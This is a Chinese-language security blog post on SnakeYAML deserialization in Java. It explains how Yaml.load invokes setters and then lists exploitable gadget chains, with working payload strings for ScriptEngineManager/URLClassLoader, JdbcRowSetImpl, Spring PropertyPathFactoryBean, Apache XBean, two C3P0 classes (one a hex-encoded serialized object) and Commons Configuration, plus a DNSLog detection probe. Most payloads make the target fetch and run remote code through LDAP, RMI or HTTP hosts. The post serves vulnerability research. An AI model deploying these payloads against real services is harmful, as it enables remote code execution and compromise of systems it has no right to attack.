SnakeYAML反序列化及可利用Gadget

SnakeYAML反序列化及可利用Gadget

SnakeYaml简介

YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写,是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁。

在Java中,有一个用于解析YAML格式的库,即SnakeYaml。

SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

当然在分析之前还得了解YAML的语法格式,具体可以百度看看,这里不放了

使用SnakeYaml进行序列化和反序列化

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
  • Yaml.dump():将一个对象转化为yaml文件形式;

Yaml.load(),经过我的测试当不存在某个属性,或者存在属性但是不是由public修饰的时候会调用set方法,这里不想放图了自己玩玩吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class TestBean {
// static {
// try {
// Runtime.getRuntime().exec("open -na Calculator");
// }catch (Exception e){
//
// }
// }
protected String name;
private String test;
public String tt;
String abc;
public TestBean(){
System.out.println("构造方法");
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public void setTest(String test) {
System.out.println("setTest");
this.test = test;
}

public void setTt(String tt) {
System.out.println("setTt");

this.tt = tt;
}

public void setAbc(String abc) {
System.out.println("setAbc");

this.abc = abc;
}
}

之后调用

1
2
Yaml yaml = new Yaml();
yaml.load("!!TestBean {name: abc, test: aa, tt: jj, abc: def}");

至于为什么Public不能调用set方法,简单说一下在后面调用constructJavaBean2ndStep()函数,其中会获取yaml格式数据中的属性的键值对,然后调用propert.set()来设置新建的目标对象的属性值,而这个Property的设置在org.yaml.snakeyaml.introspector.PropertyUtils#getPropertiesMap

可以看到这个如果是Public修饰的话,后面会调用org.yaml.snakeyaml.introspector.FieldProperty#get,这个只是反射获取值

而如果是MethodProperty.set()函数,则就是通过反射机制来调用目标类name属性的setter方法来进行属性值的设置

SnakeYaml反序列化过程调试分析

当然既然SnakeYaml这个库也不认为反序列化一些类是漏洞那么我也不会去详细的了解每一步,至少感觉做到知道有这个类以后能够如何利用了

在load()函数中会先生成一个StreamReader,将yaml数据通过构造函数赋给StreamReader,再调用loadFromReader()函数:

在loadFromReader()函数中,调用了BaseConstructor.getSingleData()函数,此时type为java.lang.Object,指定从yaml格式数据中获取数据类型是Object类型:

跟进getSingleData()函数中,先创建一个Node对象(其中调用getSingleNote()会根据流来生成一个文件,即将字符串按照yaml语法转为Node对象),然后判断当前Node是否为空且是否Tag为空,若不是则判断yaml格式数据的类型是否为Object类型、是否有根标签,这里都判断不通过,最后返回调用constructDocument()函数的结果:

在getClassForNode()函数中,先根据tag取出className为目标类,然后调用getClassForName()函数获取到具体的类:

还有个小细节就是getClassForName可以初始化静态块里面的函数

调用construct()函数实例化类对象

进一步跟进constructJavaBean2ndStep()函数,其中会获取yaml格式数据中的属性的键值对,然后调用propert.set()来设置新建的目标对象的属性值,这里上面已经提过了也就没啥好说的了,整个利用链也有了,分析完毕

可利用的Gadget

1.利用SPI机制-基于ScriptEngineManager利用链

1
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/a.jar"]]]]

利用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
newInstance:396, Class (java.lang)
nextService:380, ServiceLoader$LazyIterator (java.util)
next:404, ServiceLoader$LazyIterator (java.util)
next:480, ServiceLoader$1 (java.util)
initEngines:122, ScriptEngineManager (javax.script)
init:84, ScriptEngineManager (javax.script)
<init>:75, ScriptEngineManager (javax.script)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
construct:557, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:341, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:450, Yaml (org.yaml.snakeyaml)
load:369, Yaml (org.yaml.snakeyaml)
main:10, Demo (BasicKnow.SnakeymlUnser)

2.JdbcRowSetImpl

1
String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit: true";

当然也可以写成

1
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/Exploit\", autoCommit: true}";

我们知道利用链是setDataSourceName->setAutoCommit,

可以看到修饰符

1
private String dataSource;

因此可以触发,不多说了太简单了

3.Spring PropertyPathFactoryBean

简单测试下能拿下整个版本到2.6.3最新版都行,不过也很好理解

1
2
3
4
5
String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"rmi://127.0.0.1:1099/Exploit\"\n" +
" propertyPath: y4tacker\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"rmi://127.0.0.1:1099/Exploit\"]";

或者一行拿下

1
String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"rmi://127.0.0.1:1099/Exploit\", propertyPath: \"y4tacker\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"rmi://127.0.0.1:1099/Exploit\"]}}";

可以看到在org.springframework.beans.factory.config.PropertyPathFactoryBean#setBeanFactory

这里网上流传版本找到个org.springframework.jndi.support.SimpleJndiBeanFactory,其调用getBean的时候会触发JNDI注入,当然这里还有个限制是this.beanFactory.isSingleton(this.targetBeanName)

也很好绕过设置shareableResources即可

4.Apache XBean

依赖,当然版本没限制

1
2
3
4
5
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.20</version>
</dependency>
1
String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [\"foo\", \"TouchFile\", \"http://yourVps/\"],!!org.apache.xbean.naming.context.WritableContext []]]";

原因在于org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding继承了Binding

如果能触发其toString函数即可调用org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding#getObject,在调用到org.apache.xbean.naming.context.ContextUtil#resolve时

看到这个就不陌生了,太熟悉了,甚至不允许远程调用的时候也能尝试找ObjectFactory绕过

5.C3P0 JndiRefForwardingDataSource

比较简单放个poc就行了

1
2
3
String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: \"rmi://localhost/Exploit\"\n" +
" loginTimeout: 0";

或者

1
String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource  {jndiName: \"rmi://localhost/Exploit\",  loginTimeout: \"0\"}";

不过还是简单说一下,com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout

调用了this.inner()里面又调用了this.dereference(),最终触发JNDI注入

6.C3P0 WrapperConnectionPoolDataSource

1
2
3
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
" userOverridesAsString: \"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;\"";

很简单C3P0的二次反序列化payload,不多说了

7.Apache Commons Configuration

引入依赖测试

1
2
3
4
5
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.10</version>
</dependency>

触发payload是这个

1
2
String poc = "set:\n" +
" ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:1099/Exploit\"]]";

网上搜了一下

1
? 号: 针对较为复杂的对象格式

但是在理解了原理以后才知道,搞复杂了,实际上下面这个payload也可以

1
poc = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:1099/Exploit\"]]: 1";

主要是触发的时候是利用key调用hashCode方法所产生的利用链,还是简单说下调用链吧

在对ConfigurationMap调用hashCode的时候实际上是执行了,java.util.AbstractMap#hashCode

1
2
3
4
5
6
7
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}

之后会调用org.apache.commons.configuration.ConfigurationMap#entrySet的iterator方法,也就是org.apache.commons.configuration.ConfigurationMap.ConfigurationSet#iterator

之后就可以配合JNDIConfiguration实现jndi注入

1
2
3
4
lookup:417, InitialContext (javax.naming)
getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)

探测SnakeYAML

突然想到一个新的探测payload,之前上面有一个SPI那个链子可以有通过URLClassloader检测

1
String poc = "!!java.net.URL [null, \"[http://osrwbf.dnslog.cn](http://osrwbf.dnslog.cn/)\"]: 1"; 

这个的话主要是因为SnakeYAML在解析带键值对的集合的时候会对键调用hashCode方法因此会触发DNS解析,因此通过构造URL对象后面简单加个: 1让他成为一个mapping